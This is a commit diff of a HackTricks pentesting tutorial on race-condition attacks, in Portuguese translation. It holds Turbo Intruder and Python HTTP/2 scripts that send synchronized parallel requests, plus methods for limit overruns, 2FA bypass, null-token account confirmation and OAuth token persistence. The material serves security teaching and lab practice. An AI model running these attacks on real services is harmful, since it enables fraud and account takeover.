mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['', 'src/pentesting-web/websocket-attacks.md', 'src/pentesti
This commit is contained in:
parent
43da6b9112
commit
7e2aafc67e
@ -837,9 +837,14 @@
|
||||
- [WWW2Exec - GOT/PLT](binary-exploitation/arbitrary-write-2-exec/aw2exec-got-plt.md)
|
||||
- [WWW2Exec - \_\_malloc_hook & \_\_free_hook](binary-exploitation/arbitrary-write-2-exec/aw2exec-__malloc_hook.md)
|
||||
- [Common Exploiting Problems](binary-exploitation/common-exploiting-problems.md)
|
||||
- [Linux kernel exploitation - toctou](binary-exploitation/linux-kernel-exploitation/posix-cpu-timers-toctou-cve-2025-38352.md)
|
||||
- [Windows Exploiting (Basic Guide - OSCP lvl)](binary-exploitation/windows-exploiting-basic-guide-oscp-lvl.md)
|
||||
- [iOS Exploiting](binary-exploitation/ios-exploiting.md)
|
||||
- [iOS Exploiting](binary-exploitation/ios-exploiting/README.md)
|
||||
- [ios CVE-2020-27950-mach_msg_trailer_t](binary-exploitation/ios-exploiting/CVE-2020-27950-mach_msg_trailer_t.md)
|
||||
- [ios CVE-2021-30807-IOMobileFrameBuffer](binary-exploitation/ios-exploiting/CVE-2021-30807-IOMobileFrameBuffer.md)
|
||||
- [ios Corellium](binary-exploitation/ios-exploiting/ios-corellium.md)
|
||||
- [ios Heap Exploitation](binary-exploitation/ios-exploiting/ios-example-heap-exploit.md)
|
||||
- [ios Physical UAF - IOSurface](binary-exploitation/ios-exploiting/ios-physical-uaf-iosurface.md)
|
||||
|
||||
|
||||
# 🤖 AI
|
||||
- [AI Security](AI/README.md)
|
||||
|
@ -1,58 +1,58 @@
|
||||
# Condição de Corrida
|
||||
# Race Condition
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
> [!WARNING]
|
||||
> Para obter uma compreensão profunda desta técnica, consulte o relatório original em [https://portswigger.net/research/smashing-the-state-machine](https://portswigger.net/research/smashing-the-state-machine)
|
||||
|
||||
## Aprimorando Ataques de Condição de Corrida
|
||||
## Aprimorando ataques de Race Condition
|
||||
|
||||
O principal obstáculo para aproveitar as condições de corrida é garantir que múltiplas requisições sejam tratadas ao mesmo tempo, com **muita pouca diferença em seus tempos de processamento—idealmente, menos de 1ms**.
|
||||
O principal obstáculo para explorar race conditions é garantir que múltiplas requisições sejam processadas ao mesmo tempo, com **diferença muito pequena nos seus tempos de processamento — idealmente, menos de 1ms**.
|
||||
|
||||
Aqui você pode encontrar algumas técnicas para Sincronizar Requisições:
|
||||
Aqui você encontra algumas técnicas para sincronizar requisições:
|
||||
|
||||
#### Ataque de Pacote Único HTTP/2 vs. Sincronização do Último Byte HTTP/1.1
|
||||
#### HTTP/2 Single-Packet Attack vs. HTTP/1.1 Last-Byte Synchronization
|
||||
|
||||
- **HTTP/2**: Suporta o envio de duas requisições sobre uma única conexão TCP, reduzindo o impacto da variação de rede. No entanto, devido a variações do lado do servidor, duas requisições podem não ser suficientes para um exploit consistente de condição de corrida.
|
||||
- **Sincronização do 'Último Byte' HTTP/1.1**: Permite o pré-envio da maior parte de 20-30 requisições, retendo um pequeno fragmento, que é então enviado junto, alcançando a chegada simultânea ao servidor.
|
||||
- **HTTP/2**: Suporta o envio de duas requisições sobre uma única conexão TCP, reduzindo o impacto do jitter de rede. Contudo, devido a variações do lado do servidor, duas requisições podem não ser suficientes para um exploit consistente de race condition.
|
||||
- **HTTP/1.1 'Last-Byte Sync'**: Permite pré-enviar a maior parte de 20-30 requisições, retendo um pequeno fragmento que é enviado em conjunto, alcançando chegada simultânea no servidor.
|
||||
|
||||
**Preparação para Sincronização do Último Byte** envolve:
|
||||
**Preparação para Last-Byte Sync** envolve:
|
||||
|
||||
1. Enviar cabeçalhos e dados do corpo menos o byte final sem encerrar o fluxo.
|
||||
1. Enviar headers e dados do body menos o último byte sem encerrar o stream.
|
||||
2. Pausar por 100ms após o envio inicial.
|
||||
3. Desabilitar TCP_NODELAY para utilizar o algoritmo de Nagle para agrupar os quadros finais.
|
||||
4. Pingar para aquecer a conexão.
|
||||
3. Desabilitar TCP_NODELAY para utilizar o algoritmo de Nagle e agrupar os frames finais.
|
||||
4. Fazer ping para aquecer a conexão.
|
||||
|
||||
O envio subsequente dos quadros retidos deve resultar em sua chegada em um único pacote, verificável via Wireshark. Este método não se aplica a arquivos estáticos, que não estão tipicamente envolvidos em ataques de RC.
|
||||
O envio subsequente dos frames retidos deve resultar na chegada deles em um único pacote, verificável via Wireshark. Esse método não se aplica a arquivos estáticos, que normalmente não estão envolvidos em ataques RC.
|
||||
|
||||
### Adaptando-se à Arquitetura do Servidor
|
||||
### Adaptando-se à arquitetura do servidor
|
||||
|
||||
Compreender a arquitetura do alvo é crucial. Servidores front-end podem roteirizar requisições de maneira diferente, afetando o tempo. O aquecimento proativo da conexão do lado do servidor, através de requisições irrelevantes, pode normalizar o tempo das requisições.
|
||||
Entender a arquitetura do alvo é crucial. Servidores front-end podem rotear requisições de formas diferentes, afetando o timing. Pré-aquecer conexões do lado do servidor, através de requisições sem importância, pode normalizar o tempo das requisições.
|
||||
|
||||
#### Lidando com Bloqueio Baseado em Sessão
|
||||
#### Lidando com bloqueio baseado em sessão
|
||||
|
||||
Frameworks como o manipulador de sessão do PHP serializam requisições por sessão, potencialmente obscurecendo vulnerabilidades. Utilizar diferentes tokens de sessão para cada requisição pode contornar esse problema.
|
||||
Frameworks como o session handler do PHP serializam requisições por sessão, potencialmente ocultando vulnerabilidades. Utilizar tokens de sessão diferentes para cada requisição pode contornar esse problema.
|
||||
|
||||
#### Superando Limites de Taxa ou Recursos
|
||||
#### Superando limites de taxa ou de recursos
|
||||
|
||||
Se o aquecimento da conexão for ineficaz, acionar intencionalmente os limites de taxa ou recursos dos servidores web através de um fluxo de requisições fictícias pode facilitar o ataque de pacote único, induzindo um atraso do lado do servidor propício para condições de corrida.
|
||||
Se o aquecimento de conexão não for efetivo, provocar intencionalmente delays de limite de taxa ou de recursos do web server por meio de um flood de requisições dummy pode facilitar o single-packet attack ao induzir um atraso do lado do servidor propício para race conditions.
|
||||
|
||||
## Exemplos de Ataque
|
||||
## Exemplos de ataque
|
||||
|
||||
- **Tubo Intruder - ataque de pacote único HTTP2 (1 endpoint)**: Você pode enviar a requisição para **Turbo intruder** (`Extensions` -> `Turbo Intruder` -> `Send to Turbo Intruder`), você pode alterar na requisição o valor que deseja forçar para **`%s`** como em `csrf=Bn9VQB8OyefIs3ShR2fPESR0FzzulI1d&username=carlos&password=%s` e então selecionar o **`examples/race-single-packer-attack.py`** no menu suspenso:
|
||||
- **Tubo Intruder - HTTP2 single-packet attack (1 endpoint)**: Você pode enviar a requisição para **Turbo intruder** (`Extensions` -> `Turbo Intruder` -> `Send to Turbo Intruder`), você pode mudar na requisição o valor que deseja testar por força bruta para **`%s`** como em `csrf=Bn9VQB8OyefIs3ShR2fPESR0FzzulI1d&username=carlos&password=%s` e então selecionar o **`examples/race-single-packer-attack.py`** no menu suspenso:
|
||||
|
||||
<figure><img src="../images/image (57).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Se você for **enviar valores diferentes**, você pode modificar o código com este que usa uma lista de palavras da área de transferência:
|
||||
Se você for enviar valores diferentes, pode modificar o código para usar esta versão que utiliza uma wordlist da área de transferência:
|
||||
```python
|
||||
passwords = wordlists.clipboard
|
||||
for password in passwords:
|
||||
engine.queue(target.req, password, gate='race1')
|
||||
```
|
||||
> [!WARNING]
|
||||
> Se a web não suportar HTTP2 (apenas HTTP1.1), use `Engine.THREADED` ou `Engine.BURP` em vez de `Engine.BURP2`.
|
||||
> Se o site não suportar HTTP2 (apenas HTTP1.1) use `Engine.THREADED` ou `Engine.BURP` em vez de `Engine.BURP2`.
|
||||
|
||||
- **Tubo Intruder - ataque de pacote único HTTP2 (Vários endpoints)**: Caso você precise enviar uma solicitação para 1 endpoint e depois várias para outros endpoints para acionar o RCE, você pode alterar o script `race-single-packet-attack.py` com algo como:
|
||||
- **Tubo Intruder - HTTP2 single-packet attack (Several endpoints)**: Caso você precise enviar uma requisição para 1 endpoint e então várias para outros endpoints para disparar a RCE, você pode alterar o script `race-single-packet-attack.py` com algo como:
|
||||
```python
|
||||
def queueRequests(target, wordlists):
|
||||
engine = RequestEngine(endpoint=target.endpoint,
|
||||
@ -83,16 +83,16 @@ engine.queue(confirmationReq, gate=currentAttempt)
|
||||
# send all the queued requests for this attempt
|
||||
engine.openGate(currentAttempt)
|
||||
```
|
||||
- Também está disponível no **Repeater** através da nova opção '**Enviar grupo em paralelo**' no Burp Suite.
|
||||
- Para **limit-overrun**, você poderia apenas adicionar a **mesma solicitação 50 vezes** no grupo.
|
||||
- Para **connection warming**, você poderia **adicionar** no **início** do **grupo** algumas **solicitações** para alguma parte não estática do servidor web.
|
||||
- Para **delaying** o processo **entre** o processamento **de uma solicitação e outra** em 2 etapas de subestado, você poderia **adicionar solicitações extras entre** ambas as solicitações.
|
||||
- Para um **multi-endpoint** RC, você poderia começar enviando a **solicitação** que **vai para o estado oculto** e então **50 solicitações** logo após que **exploram o estado oculto**.
|
||||
- Também está disponível no **Repeater** através da nova opção '**Send group in parallel**' no Burp Suite.
|
||||
- Para **limit-overrun** você pode simplesmente adicionar a **mesma request 50 vezes** no group.
|
||||
- Para **connection warming**, você pode **adicionar** no **início** do **group** algumas **requests** para alguma parte não estática do servidor web.
|
||||
- Para **delaying** o processo **entre** o processamento **de uma request e outra** em um passo de 2 subestados, você pode **adicionar requests extras entre** as duas requests.
|
||||
- Para um **multi-endpoint** RC você pode começar enviando a **request** que **vai para o hidden state** e então **50 requests** logo em seguida que **exploram o hidden state**.
|
||||
|
||||
<figure><img src="../images/image (58).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
- **Automated python script**: O objetivo deste script é mudar o email de um usuário enquanto verifica continuamente até que o token de verificação do novo email chegue ao último email (isso porque no código estava vendo um RC onde era possível modificar um email, mas ter a verificação enviada para o antigo porque a variável indicando o email já estava populada com o primeiro).\
|
||||
Quando a palavra "objetivo" é encontrada nos emails recebidos, sabemos que recebemos o token de verificação do email alterado e encerramos o ataque.
|
||||
- **Automated python script**: O objetivo deste script é alterar o email de um usuário enquanto o verifica continuamente até que o token de verificação do novo email chegue ao último email (isto porque no código foi observado um RC onde era possível modificar um email mas a verificação ser enviada para o antigo, porque a variável indicando o email já estava populada com o primeiro).\
|
||||
Quando a palavra "objetivo" for encontrada nos emails recebidos, sabemos que recebemos o token de verificação do email alterado e encerramos o ataque.
|
||||
```python
|
||||
# https://portswigger.net/web-security/race-conditions/lab-race-conditions-limit-overrun
|
||||
# Script from victor to solve a HTB challenge
|
||||
@ -217,21 +217,21 @@ h2_conn.close_connection()
|
||||
|
||||
response = requests.get(url, verify=False)
|
||||
```
|
||||
### Melhorando o Ataque de Pacote Único
|
||||
### Melhorando Single Packet Attack
|
||||
|
||||
Na pesquisa original, foi explicado que este ataque tem um limite de 1.500 bytes. No entanto, em [**este post**](https://flatt.tech/research/posts/beyond-the-limit-expanding-single-packet-race-condition-with-first-sequence-sync/), foi explicado como é possível estender a limitação de 1.500 bytes do ataque de pacote único para a **limitação de janela de 65.535 B do TCP usando fragmentação na camada IP** (dividindo um único pacote em vários pacotes IP) e enviando-os em ordem diferente, o que permitiu evitar a reassemblagem do pacote até que todos os fragmentos chegassem ao servidor. Essa técnica permitiu que o pesquisador enviasse 10.000 requisições em cerca de 166ms.
|
||||
Na pesquisa original é explicado que esse ataque tem um limite de 1,500 bytes. Entretanto, em [**this post**](https://flatt.tech/research/posts/beyond-the-limit-expanding-single-packet-race-condition-with-first-sequence-sync/), foi explicado como é possível estender a limitação de 1,500 bytes do single packet attack para a **65,535 B window limitation of TCP by using IP layer fragmentation** (dividindo um único pacote em múltiplos pacotes IP) e enviando-os em ordem diferente, evitando o reassembly do pacote até que todos os fragmentos cheguem ao servidor. Essa técnica permitiu ao pesquisador enviar 10,000 requests em cerca de 166ms.
|
||||
|
||||
Observe que, embora essa melhoria torne o ataque mais confiável em RC que requer centenas/milhares de pacotes chegando ao mesmo tempo, pode também ter algumas limitações de software. Alguns servidores HTTP populares como Apache, Nginx e Go têm uma configuração estrita de `SETTINGS_MAX_CONCURRENT_STREAMS` para 100, 128 e 250. No entanto, outros como NodeJS e nghttp2 têm isso ilimitado.\
|
||||
Isso basicamente significa que o Apache considerará apenas 100 conexões HTTP de uma única conexão TCP (limitando este ataque RC).
|
||||
Observe que, embora essa melhoria torne o ataque mais confiável em RC que requerem centenas/milhares de pacotes chegarem ao mesmo tempo, ela também pode ter algumas limitações de software. Alguns servidores HTTP populares como Apache, Nginx e Go possuem uma configuração rígida `SETTINGS_MAX_CONCURRENT_STREAMS` para 100, 128 e 250. Entretanto, outros como NodeJS e nghttp2 têm isso ilimitado.\
|
||||
Isso basicamente significa que o Apache considerará apenas 100 conexões HTTP de uma única conexão TCP (limitando esse ataque RC).
|
||||
|
||||
Você pode encontrar alguns exemplos usando essa técnica no repositório [https://github.com/Ry0taK/first-sequence-sync/tree/main](https://github.com/Ry0taK/first-sequence-sync/tree/main).
|
||||
Você pode encontrar alguns exemplos usando esta técnica no repo [https://github.com/Ry0taK/first-sequence-sync/tree/main](https://github.com/Ry0taK/first-sequence-sync/tree/main).
|
||||
|
||||
## BF Bruto
|
||||
## Raw BF
|
||||
|
||||
Antes da pesquisa anterior, esses eram alguns payloads usados que apenas tentavam enviar os pacotes o mais rápido possível para causar um RC.
|
||||
Antes da pesquisa anterior, estes foram alguns payloads usados que apenas tentavam enviar os pacotes o mais rápido possível para causar um RC.
|
||||
|
||||
- **Repetidor:** Confira os exemplos da seção anterior.
|
||||
- **Intruso**: Envie a **requisição** para **Intruso**, defina o **número de threads** para **30** dentro do **menu de Opções** e selecione como payload **Null payloads** e gere **30.**
|
||||
- **Repeater:** Veja os exemplos da seção anterior.
|
||||
- **Intruder**: Envie a **request** para o **Intruder**, ajuste o **number of threads** para **30** dentro do **Options menu**, selecione como payload **Null payloads** e gere **30**.
|
||||
- **Turbo Intruder**
|
||||
```python
|
||||
def queueRequests(target, wordlists):
|
||||
@ -281,73 +281,73 @@ asyncio.run(main())
|
||||
```
|
||||
## **Metodologia RC**
|
||||
|
||||
### Limite-excesso / TOCTOU
|
||||
### Limit-overrun / TOCTOU
|
||||
|
||||
Este é o tipo mais básico de condição de corrida onde **vulnerabilidades** que **aparecem** em lugares que **limitem o número de vezes que você pode realizar uma ação**. Como usar o mesmo código de desconto em uma loja online várias vezes. Um exemplo muito fácil pode ser encontrado em [**este relatório**](https://medium.com/@pravinponnusamy/race-condition-vulnerability-found-in-bug-bounty-program-573260454c43) ou em [**este bug**](https://hackerone.com/reports/759247)**.**
|
||||
Este é o tipo mais básico de race condition onde **vulnerabilities** que **appear** em lugares que **limit the number of times you can perform an action**. Como usar o mesmo discount code em uma loja web várias vezes. Um exemplo bem simples pode ser encontrado em [**this report**](https://medium.com/@pravinponnusamy/race-condition-vulnerability-found-in-bug-bounty-program-573260454c43) ou em [**this bug**](https://hackerone.com/reports/759247)**.**
|
||||
|
||||
Existem muitas variações desse tipo de ataque, incluindo:
|
||||
|
||||
- Resgatar um cartão-presente várias vezes
|
||||
- Avaliar um produto várias vezes
|
||||
- Sacar ou transferir dinheiro além do saldo da sua conta
|
||||
- Resgatar um gift card múltiplas vezes
|
||||
- Avaliar um produto múltiplas vezes
|
||||
- Sacar ou transferir cash em excesso do seu account balance
|
||||
- Reutilizar uma única solução de CAPTCHA
|
||||
- Contornar um limite de taxa anti-força bruta
|
||||
- Bypassing um anti-brute-force rate limit
|
||||
|
||||
### **Subestados ocultos**
|
||||
|
||||
Explorar condições de corrida complexas muitas vezes envolve aproveitar breves oportunidades para interagir com subestados de máquina ocultos ou **não intencionais**. Aqui está como abordar isso:
|
||||
Explorar race conditions complexas frequentemente envolve aproveitar oportunidades breves para interagir com subestados de máquina ocultos ou **unintended machine substates**. Aqui está como abordar isso:
|
||||
|
||||
1. **Identificar Subestados Ocultos Potenciais**
|
||||
- Comece identificando endpoints que modificam ou interagem com dados críticos, como perfis de usuário ou processos de redefinição de senha. Foque em:
|
||||
- **Armazenamento**: Prefira endpoints que manipulam dados persistentes do lado do servidor em vez daqueles que lidam com dados do lado do cliente.
|
||||
- **Ação**: Procure operações que alterem dados existentes, que são mais propensas a criar condições exploráveis em comparação com aquelas que adicionam novos dados.
|
||||
- **Chaveamento**: Ataques bem-sucedidos geralmente envolvem operações chaveadas no mesmo identificador, por exemplo, nome de usuário ou token de redefinição.
|
||||
2. **Realizar Probing Inicial**
|
||||
- Teste os endpoints identificados com ataques de condição de corrida, observando quaisquer desvios dos resultados esperados. Respostas inesperadas ou mudanças no comportamento da aplicação podem sinalizar uma vulnerabilidade.
|
||||
3. **Demonstrar a Vulnerabilidade**
|
||||
- Reduza o ataque ao número mínimo de solicitações necessárias para explorar a vulnerabilidade, muitas vezes apenas duas. Esta etapa pode exigir várias tentativas ou automação devido ao tempo preciso envolvido.
|
||||
1. **Identify Potential Hidden Substates**
|
||||
- Comece apontando endpoints que modificam ou interagem com dados críticos, como perfis de usuário ou processos de password reset. Foque em:
|
||||
- **Storage**: Prefira endpoints que manipulam dados persistentes do lado do servidor em vez daqueles que lidam com dados no cliente.
|
||||
- **Action**: Procure operações que alterem dados existentes, que têm maior probabilidade de criar condições exploráveis comparadas com operações que adicionam novos dados.
|
||||
- **Keying**: Ataques bem-sucedidos geralmente envolvem operações keyed no mesmo identificador, por exemplo, username ou reset token.
|
||||
2. **Conduct Initial Probing**
|
||||
- Teste os endpoints identificados com ataques de race condition, observando quaisquer desvios do resultado esperado. Respostas inesperadas ou mudanças no comportamento da aplicação podem sinalizar uma vulnerabilidade.
|
||||
3. **Demonstrate the Vulnerability**
|
||||
- Reduza o ataque ao número mínimo de requests necessárias para explorar a vulnerabilidade, muitas vezes apenas duas. Este passo pode requerer múltiplas tentativas ou automação devido ao timing preciso envolvido.
|
||||
|
||||
### Ataques Sensíveis ao Tempo
|
||||
### Time Sensitive Attacks
|
||||
|
||||
A precisão no tempo das solicitações pode revelar vulnerabilidades, especialmente quando métodos previsíveis como timestamps são usados para tokens de segurança. Por exemplo, gerar tokens de redefinição de senha com base em timestamps pode permitir tokens idênticos para solicitações simultâneas.
|
||||
Precisão no timing das requests pode revelar vulnerabilidades, especialmente quando métodos previsíveis como timestamps são usados para security tokens. Por exemplo, gerar password reset tokens baseados em timestamps pode permitir tokens idênticos para requests simultâneas.
|
||||
|
||||
**Para Explorar:**
|
||||
**To Exploit:**
|
||||
|
||||
- Use temporização precisa, como um ataque de pacote único, para fazer solicitações de redefinição de senha simultâneas. Tokens idênticos indicam uma vulnerabilidade.
|
||||
- Use timing preciso, como um single packet attack, para fazer concurrent password reset requests. Tokens idênticos indicam uma vulnerabilidade.
|
||||
|
||||
**Exemplo:**
|
||||
**Example:**
|
||||
|
||||
- Solicite dois tokens de redefinição de senha ao mesmo tempo e compare-os. Tokens correspondentes sugerem uma falha na geração de tokens.
|
||||
- Requisite dois password reset tokens ao mesmo tempo e compare-os. Tokens iguais sugerem uma falha na geração de tokens.
|
||||
|
||||
**Verifique este** [**PortSwigger Lab**](https://portswigger.net/web-security/race-conditions/lab-race-conditions-exploiting-time-sensitive-vulnerabilities) **para tentar isso.**
|
||||
**Check this** [**PortSwigger Lab**](https://portswigger.net/web-security/race-conditions/lab-race-conditions-exploiting-time-sensitive-vulnerabilities) **to try this.**
|
||||
|
||||
## Estudos de caso de subestados ocultos
|
||||
## Hidden substates case studies
|
||||
|
||||
### Pagar e adicionar um Item
|
||||
### Pay & add an Item
|
||||
|
||||
Verifique este [**PortSwigger Lab**](https://portswigger.net/web-security/logic-flaws/examples/lab-logic-flaws-insufficient-workflow-validation) para ver como **pagar** em uma loja e **adicionar um item extra** que você **não precisará pagar por isso**.
|
||||
Check this [**PortSwigger Lab**](https://portswigger.net/web-security/logic-flaws/examples/lab-logic-flaws-insufficient-workflow-validation) to see how to **pay** in a store and **add an extra** item you that **won't need to pay for it**.
|
||||
|
||||
### Confirmar outros e-mails
|
||||
### Confirm other emails
|
||||
|
||||
A ideia é **verificar um endereço de e-mail e mudá-lo para um diferente ao mesmo tempo** para descobrir se a plataforma verifica o novo que foi alterado.
|
||||
A ideia é **verify an email address and change it to a different one at the same time** para descobrir se a plataforma verifica o novo que foi alterado.
|
||||
|
||||
### Mudar e-mail para 2 endereços de e-mail baseados em Cookie
|
||||
### Change email to 2 emails addresses Cookie based
|
||||
|
||||
De acordo com [**esta pesquisa**](https://portswigger.net/research/smashing-the-state-machine), o Gitlab estava vulnerável a uma tomada dessa forma porque poderia **enviar** o **token de verificação de e-mail de um e-mail para o outro e-mail**.
|
||||
De acordo com [**this research**](https://portswigger.net/research/smashing-the-state-machine) o Gitlab era vulnerável a takeover dessa forma porque poderia **send** o **email verification token of one email to the other email**.
|
||||
|
||||
**Verifique este** [**PortSwigger Lab**](https://portswigger.net/web-security/race-conditions/lab-race-conditions-single-endpoint) **para tentar isso.**
|
||||
**Check this** [**PortSwigger Lab**](https://portswigger.net/web-security/race-conditions/lab-race-conditions-single-endpoint) **to try this.**
|
||||
|
||||
### Estados ocultos do banco de dados / Bypass de Confirmação
|
||||
### Hidden Database states / Confirmation Bypass
|
||||
|
||||
Se **2 gravações diferentes** forem usadas para **adicionar** **informações** dentro de um **banco de dados**, há uma pequena porção de tempo onde **apenas os primeiros dados foram gravados** dentro do banco de dados. Por exemplo, ao criar um usuário, o **nome de usuário** e a **senha** podem ser **gravados** e **então o token** para confirmar a conta recém-criada é gravado. Isso significa que por um pequeno tempo o **token para confirmar uma conta é nulo**.
|
||||
Se **2 different writes** são usadas para **add** **information** dentro de um **database**, existe uma pequena porção de tempo onde **only the first data has been written** dentro do database. Por exemplo, ao criar um usuário o **username** e **password** podem ser **written** e **then the token** para confirmar a conta recém-criada é escrito. Isso significa que por um curto período o **token to confirm an account is null**.
|
||||
|
||||
Portanto, **registrar uma conta e enviar várias solicitações com um token vazio** (`token=` ou `token[]=` ou qualquer outra variação) para confirmar a conta imediatamente poderia permitir **confirmar uma conta** onde você não controla o e-mail.
|
||||
Therefore **registering an account and sending several requests with an empty token** (`token=` or `token[]=` or any other variation) to confirm the account right away could allow to c**onfirm an account** where you don't control the email.
|
||||
|
||||
**Verifique este** [**PortSwigger Lab**](https://portswigger.net/web-security/race-conditions/lab-race-conditions-partial-construction) **para tentar isso.**
|
||||
**Check this** [**PortSwigger Lab**](https://portswigger.net/web-security/race-conditions/lab-race-conditions-partial-construction) **to try this.**
|
||||
|
||||
### Bypass 2FA
|
||||
|
||||
O seguinte pseudo-código é vulnerável a condição de corrida porque em um tempo muito pequeno a **2FA não é aplicada** enquanto a sessão é criada:
|
||||
The following pseudo-code is vulnerable to race condition because in a very small time the **2FA is not enforced** while the session is created:
|
||||
```python
|
||||
session['userid'] = user.userid
|
||||
if user.mfa_enabled:
|
||||
@ -355,22 +355,23 @@ session['enforce_mfa'] = True
|
||||
# generate and send MFA code to user
|
||||
# redirect browser to MFA code entry form
|
||||
```
|
||||
### Persistência eterna do OAuth2
|
||||
### OAuth2 persistência eterna
|
||||
|
||||
Existem vários [**provedores de OAUth**](https://en.wikipedia.org/wiki/List_of_OAuth_providers). Esses serviços permitem que você crie um aplicativo e autentique usuários que o provedor registrou. Para fazer isso, o **cliente** precisará **permitir que seu aplicativo** acesse alguns de seus dados dentro do **provedor de OAUth**.\
|
||||
Até aqui, é apenas um login comum com google/linkedin/github... onde você é solicitado com uma página dizendo: "_Aplicativo \<InsertCoolName> deseja acessar suas informações, você quer permitir?_"
|
||||
There are several [**OAUth providers**](https://en.wikipedia.org/wiki/List_of_OAuth_providers). Esses serviços permitem que você crie uma aplicação e autentique usuários que o provedor registrou. Para isso, o **client** precisará **permitir que sua aplicação** acesse alguns dos seus dados dentro do **OAUth provider**.\
|
||||
Então, até aqui é só um login comum com google/linkedin/github... onde você é apresentado a uma página dizendo: "_Application \<InsertCoolName> wants to access your information, do you want to allow it?_"
|
||||
|
||||
#### Condição de Corrida em `authorization_code`
|
||||
#### Race Condition em `authorization_code`
|
||||
|
||||
O **problema** aparece quando você **aceita** e automaticamente envia um **`authorization_code`** para o aplicativo malicioso. Então, esse **aplicativo abusa de uma Condição de Corrida no provedor de serviço OAUth para gerar mais de um AT/RT** (_Authentication Token/Refresh Token_) a partir do **`authorization_code`** da sua conta. Basicamente, ele abusará do fato de que você aceitou o aplicativo para acessar seus dados para **criar várias contas**. Então, se você **parar de permitir que o aplicativo acesse seus dados, um par de AT/RT será excluído, mas os outros ainda serão válidos**.
|
||||
O **problema** aparece quando você **o aceita** e automaticamente envia um **`authorization_code`** para a aplicação maliciosa. Então, essa **aplicação abusa de uma Race Condition no provedor de serviços OAUth para gerar mais de um AT/RT** (_Authentication Token/Refresh Token_) a partir do **`authorization_code`** para sua conta. Basicamente, ela irá explorar o fato de que você aceitou que a aplicação acesse seus dados para **criar várias contas**. Depois, se você **parar de permitir que a aplicação acesse seus dados**, um par de AT/RT será deletado, mas os outros ainda permanecerão válidos.
|
||||
|
||||
#### Condição de Corrida em `Refresh Token`
|
||||
#### Race Condition em `Refresh Token`
|
||||
|
||||
Uma vez que você tenha **obtido um RT válido**, você pode tentar **abusar dele para gerar vários AT/RT** e **mesmo que o usuário cancele as permissões** para o aplicativo malicioso acessar seus dados, **vários RTs ainda serão válidos.**
|
||||
Uma vez que você tenha **obtido um RT válido** você pode tentar **abusar dele para gerar vários AT/RT** e **mesmo que o usuário cancele as permissões** para a aplicação maliciosa acessar seus dados, **vários RTs ainda permanecerão válidos.**
|
||||
|
||||
## **RC em WebSockets**
|
||||
|
||||
Em [**WS_RaceCondition_PoC**](https://github.com/redrays-io/WS_RaceCondition_PoC) você pode encontrar um PoC em Java para enviar mensagens websocket em **paralelo** para abusar de **Condições de Corrida também em Web Sockets**.
|
||||
- No [**WS_RaceCondition_PoC**](https://github.com/redrays-io/WS_RaceCondition_PoC) você pode encontrar um PoC em Java para enviar mensagens WebSocket em **paralelo** para abusar de **Race Conditions também em WebSockets**.
|
||||
- Com o WebSocket Turbo Intruder do Burp você pode usar o engine **THREADED** para abrir múltiplas conexões WS e disparar payloads em paralelo. Comece pelo exemplo oficial e ajuste `config()` (contagem de threads) para concorrência; isso frequentemente é mais confiável do que agrupar em uma única conexão ao disputar estado no servidor entre handlers WS. Veja [RaceConditionExample.py](https://github.com/d0ge/WebSocketTurboIntruder/blob/main/src/main/resources/examples/RaceConditionExample.py).
|
||||
|
||||
## Referências
|
||||
|
||||
@ -380,5 +381,8 @@ Em [**WS_RaceCondition_PoC**](https://github.com/redrays-io/WS_RaceCondition_PoC
|
||||
- [https://portswigger.net/research/smashing-the-state-machine](https://portswigger.net/research/smashing-the-state-machine)
|
||||
- [https://portswigger.net/web-security/race-conditions](https://portswigger.net/web-security/race-conditions)
|
||||
- [https://flatt.tech/research/posts/beyond-the-limit-expanding-single-packet-race-condition-with-first-sequence-sync/](https://flatt.tech/research/posts/beyond-the-limit-expanding-single-packet-race-condition-with-first-sequence-sync/)
|
||||
- [WebSocket Turbo Intruder: Unearthing the WebSocket Goldmine](https://portswigger.net/research/websocket-turbo-intruder-unearthing-the-websocket-goldmine)
|
||||
- [WebSocketTurboIntruder – GitHub](https://github.com/d0ge/WebSocketTurboIntruder)
|
||||
- [RaceConditionExample.py](https://github.com/d0ge/WebSocketTurboIntruder/blob/main/src/main/resources/examples/RaceConditionExample.py)
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
@ -4,19 +4,19 @@
|
||||
|
||||
## O que são WebSockets
|
||||
|
||||
As conexões WebSocket são estabelecidas através de um **handshake** inicial **HTTP** e são projetadas para serem **de longa duração**, permitindo a troca de mensagens bidirecionais a qualquer momento sem a necessidade de um sistema transacional. Isso torna os WebSockets particularmente vantajosos para aplicações que requerem **baixa latência ou comunicação iniciada pelo servidor**, como fluxos de dados financeiros ao vivo.
|
||||
As conexões WebSocket são estabelecidas por meio de um handshake inicial **HTTP** e são projetadas para serem **de longa duração**, permitindo troca de mensagens bidirecional a qualquer momento sem a necessidade de um sistema transacional. Isso torna os WebSockets particularmente vantajosos para aplicações que exigem **baixa latência ou comunicação iniciada pelo servidor**, como fluxos de dados financeiros ao vivo.
|
||||
|
||||
### Estabelecimento de Conexões WebSocket
|
||||
|
||||
Uma explicação detalhada sobre o estabelecimento de conexões WebSocket pode ser acessada [**aqui**](https://infosecwriteups.com/cross-site-websocket-hijacking-cswsh-ce2a6b0747fc). Em resumo, as conexões WebSocket são geralmente iniciadas via JavaScript do lado do cliente, como mostrado abaixo:
|
||||
Uma explicação detalhada sobre o estabelecimento de conexões WebSocket pode ser acessada [**here**](https://infosecwriteups.com/cross-site-websocket-hijacking-cswsh-ce2a6b0747fc). Em resumo, as conexões WebSocket geralmente são iniciadas via JavaScript do lado do cliente como mostrado abaixo:
|
||||
```javascript
|
||||
var ws = new WebSocket("wss://normal-website.com/ws")
|
||||
```
|
||||
O protocolo `wss` significa uma conexão WebSocket segura com **TLS**, enquanto `ws` indica uma conexão **não segura**.
|
||||
O protocolo `wss` significa uma conexão WebSocket protegida com **TLS**, enquanto `ws` indica uma conexão **não segura**.
|
||||
|
||||
Durante o estabelecimento da conexão, um handshake é realizado entre o navegador e o servidor via HTTP. O processo de handshake envolve o navegador enviando uma solicitação e o servidor respondendo, conforme ilustrado nos seguintes exemplos:
|
||||
Durante o estabelecimento da conexão, um handshake é realizado entre o navegador e o servidor sobre HTTP. O processo de handshake envolve o navegador enviando uma requisição e o servidor respondendo, como ilustrado nos exemplos a seguir:
|
||||
|
||||
